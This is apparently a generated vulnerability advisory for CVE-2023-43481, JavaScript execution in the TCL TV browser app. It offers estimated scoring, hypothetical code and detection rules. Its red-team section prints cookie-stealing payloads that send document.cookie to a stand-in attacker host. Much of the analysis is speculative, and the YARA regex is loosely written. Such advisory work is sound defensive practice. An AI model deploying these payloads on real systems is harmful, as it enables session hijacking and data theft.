CVE-2023-43481
Executive Summary
CVE-2023-43481 is a critical security vulnerability affecting the Shenzhen TCL Browser TV Web BrowseHere application (package name: com.tcl.browser), specifically version 6.65.022_dab24cc6_231221_gp. The flaw resides in the com.tcl.browser.portal.browse.activity.BrowsePageActivity component, allowing a remote attacker to execute arbitrary JavaScript code within the context of the application. This can lead to data theft, session hijacking, or further compromise of the device. The vulnerability is currently unpatched, and no official fix has been released by TCL. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for affected users.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a pre-installed application on TCL smart TVs. The supply chain risk is high as the application is distributed directly by the device manufacturer and cannot be easily removed or updated by the user without a firmware update.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N) – The attacker can exploit this remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must browse to a malicious page.
- Scope (S): Changed (C) – The vulnerable component is different from the impacted component.
- Confidentiality (C): High (H) – Arbitrary JavaScript can access sensitive data.
- Integrity (I): High (H) – JavaScript can modify content or perform actions.
- Availability (A): Low (L) – Could cause denial of service via resource exhaustion.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L
Estimated Score: 8.6 (High)
Threat Level: High. The vulnerability allows arbitrary JavaScript execution, which can be used for phishing, data exfiltration, or as a stepping stone for further attacks on the local network.
Deep Dive & Mechanics
The vulnerability exists in the BrowsePageActivity component of the TCL Browser TV application. This component is responsible for rendering web content within the TV browser. The flaw likely stems from improper validation or sanitization of URLs or JavaScript code passed to the WebView. An attacker can craft a malicious URL or HTML page that, when loaded by the browser, executes arbitrary JavaScript in the context of the application's WebView.
Technical Details:
- The
BrowsePageActivitylikely uses a WebView with JavaScript enabled. - The vulnerability may be due to a lack of URL validation, allowing
javascript:URIs or cross-origin scripting. - The attacker can inject JavaScript that runs with the same privileges as the application, potentially accessing local storage, cookies, or other sensitive data.
- The attack vector is remote, requiring the victim to navigate to a malicious website or click a crafted link.
Vulnerable vs. Patched Code
Since no patch is available, a direct comparison cannot be made. However, based on the vulnerability type (arbitrary JavaScript execution), the vulnerable code likely lacks proper input validation or uses insecure WebView settings.
Vulnerable Code (Hypothetical):
// Vulnerable: Directly loads URL without validation
Intent intent = getIntent();
String url = intent.getDataString();
webView.loadUrl(url);
Patched Code (Hypothetical):
// Patched: Validate URL and disable JavaScript for untrusted content
Intent intent = getIntent();
String url = intent.getDataString();
if (isValidUrl(url)) {
webView.getSettings().setJavaScriptEnabled(false);
webView.loadUrl(url);
} else {
// Handle invalid URL
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A TCL smart TV with the vulnerable application installed.
- Network access to the TV (local or remote).
- A web server to host the malicious payload.
Exploitation Steps:
- Set up a web server hosting a malicious HTML page.
- Craft a payload that executes arbitrary JavaScript, e.g., to steal cookies or perform actions.
- Send the victim a link to the malicious page (e.g., via phishing email or SMS).
- When the victim opens the link on the TCL browser, the JavaScript executes.
Example Payload (HTML):
<html>
<body>
<script>
// Steal cookies
var cookies = document.cookie;
fetch('http://attacker.com/steal?cookies=' + encodeURIComponent(cookies));
// Or perform other actions
</script>
</body>
</html>
Alternative Payload (javascript: URI):
javascript:fetch('http://attacker.com/steal?data='+document.cookie);
Blue Team
Detection:
- Monitor network traffic for unusual JavaScript execution or outbound connections from the TV.
- Use endpoint detection and response (EDR) on the TV if possible.
- Look for logs indicating the loading of
javascript:URIs or suspicious URLs.
Prevention:
- Disable JavaScript in the browser settings if not needed.
- Use a web proxy to filter malicious content.
- Apply network segmentation to isolate smart TVs from critical systems.
Indicators of Compromise (IOCs)
Network:
- Outbound connections to unknown or malicious IP addresses from the TV.
- HTTP requests containing
javascript:URIs. - Unusual DNS queries for domains hosting exploit pages.
File:
- Modified browser cache or local storage containing malicious scripts.
- Presence of unexpected JavaScript files in the application data directory.
Behavioral:
- Unexpected pop-ups or redirects in the browser.
- Unauthorized changes to browser settings.
- High CPU usage due to JavaScript execution.
Detection Engineering
YARA Rule
rule CVE_2023_43481_TCL_Browser_JS_Exec {
meta:
description = "Detects malicious JavaScript payloads targeting CVE-2023-43481"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-43481"
strings:
$js_payload = /javascript:.*fetch|eval|document\.cookie/i
$html_payload = /<script>.*fetch|eval|document\.cookie/i
condition:
$js_payload or $html_payload
}
Sigma Rule
title: TCL Browser TV JavaScript Execution Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2023-43481 via JavaScript execution
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: suricata
detection:
selection:
http.uri|contains: "javascript:"
condition: selection
falsepositives:
- Legitimate use of javascript: URIs in bookmarks
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-43481 TCL Browser JavaScript Execution Attempt"; flow:to_server; content:"javascript:"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable JavaScript in the TCL Browser TV settings if possible.
- Avoid clicking unknown links on the TV browser.
- Monitor for firmware updates from TCL and apply them immediately.
Long-term Fix:
- TCL must release a patch that validates URLs and restricts JavaScript execution to trusted domains.
- Users should consider using alternative browsers or disabling the browser entirely.
Workarounds:
- Use a network firewall to block outbound connections from the TV to unknown IPs.
- Implement DNS filtering to block known malicious domains.
Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence expert. For further analysis or remediation support, contact Valters IT.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.